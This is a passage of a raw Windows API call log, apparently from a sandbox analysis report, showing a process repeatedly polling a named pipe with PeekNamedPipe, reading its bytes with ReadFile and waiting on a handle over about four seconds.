nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0072.448] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.486] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.487] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.580] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x40, lpBytesLeftThisMessage=0x0) returned 1 [0072.580] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x40, lpOverlapped=0x0) returned 1 [0072.580] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.664] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.664] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.735] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0072.735] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0072.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.781] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.781] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.831] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.890] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3a, lpBytesLeftThisMessage=0x0) returned 1 [0072.890] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3a, lpOverlapped=0x0) returned 1 [0072.890] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.965] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.058] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0073.058] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0073.058] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.112] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.112] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.175] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3a, lpBytesLeftThisMessage=0x0) returned 1 [0073.175] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3a, lpOverlapped=0x0) returned 1 [0073.176] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.293] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.294] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.352] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x1c, lpBytesLeftThisMessage=0x0) returned 1 [0073.352] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x1c, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x1c, lpOverlapped=0x0) returned 1 [0073.353] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.399] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3f, lpBytesLeftThisMessage=0x0) returned 1 [0073.399] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3f, lpOverlapped=0x0) returned 1 [0073.399] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.458] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.459] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.504] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9c, lpBytesLeftThisMessage=0x0) returned 1 [0073.504] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9c, lpOverlapped=0x0) returned 1 [0073.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.748] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.786] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0073.787] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0073.787] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.815] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x42, lpBytesLeftThisMessage=0x0) returned 1 [0073.815] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x42, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x42, lpOverlapped=0x0) returned 1 [0073.815] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.855] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.856] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.167] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0074.167] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0074.167] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.228] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3e, lpBytesLeftThisMessage=0x0) returned 1 [0074.228] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3e, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3e, lpOverlapped=0x0) returned 1 [0074.228] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.283] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0074.283] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa3, lpOverlapped=0x0) returned 1 [0074.283] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.323] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.323] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.637] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9f, lpBytesLeftThisMessage=0x0) returned 1 [0074.637] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9f, lpOverlapped=0x0) returned 1 [0074.637] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.672] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.672] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.720] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa1, lpBytesLeftThisMessage=0x0) returned 1 [0074.720] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa1, lpOverlapped=0x0) returned 1 [0074.720] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.792] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.792] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.828] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.828] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.071] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0075.071] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0075.071] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.128] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x41, lpBytesLeftThisMessage=0x0) returned 1 [0075.128] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x41, lpOverlapped=0x0) returned 1 [0075.128] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.174] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa5, lpBytesLeftThisMessage=0x0) returned 1 [0075.174] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa5, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa5, lpOverlapped=0x0) returned 1 [0075.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.209] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0075.209] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.337] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0075.337] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0075.337] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.378] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3c, lpBytesLeftThisMessage=0x0) returned 1 [0075.378] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3c, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3c, lpOverlapped=0x0) returned 1 [0075.378] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.417] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0075.417] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.571] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0075.571] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0075.571] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.647] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x47, lpBytesLeftThisMessage=0x0) returned 1 [0075.648] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x47, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x47, lpOverlapped=0x0) returned 1 [0075.648] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.688] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0075.688] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0075.688] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.717] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x4a, lpBytesLeftThisMessage=0x0) returned 1 [0075.718] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x4a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x4a, lpOverlapped=0x0) returned 1 [0075.718] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.753] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0075.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.779] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0075.779] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0075.779] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.958] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x38, lpBytesLeftThisMessage=0x0) returned 1 [0075.958] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x38, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x38, lpOverlapped=0x0) returned 1 [0075.958] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0075.993] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0075.993] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.033] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0076.034] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0076.034] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.069] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.069] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.116] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xab, lpBytesLeftThisMessage=0x0) returned 1 [0076.116] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xab, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xab, lpOverlapped=0x0) returned 1 [0076.116] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.160] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.160] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.313] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, 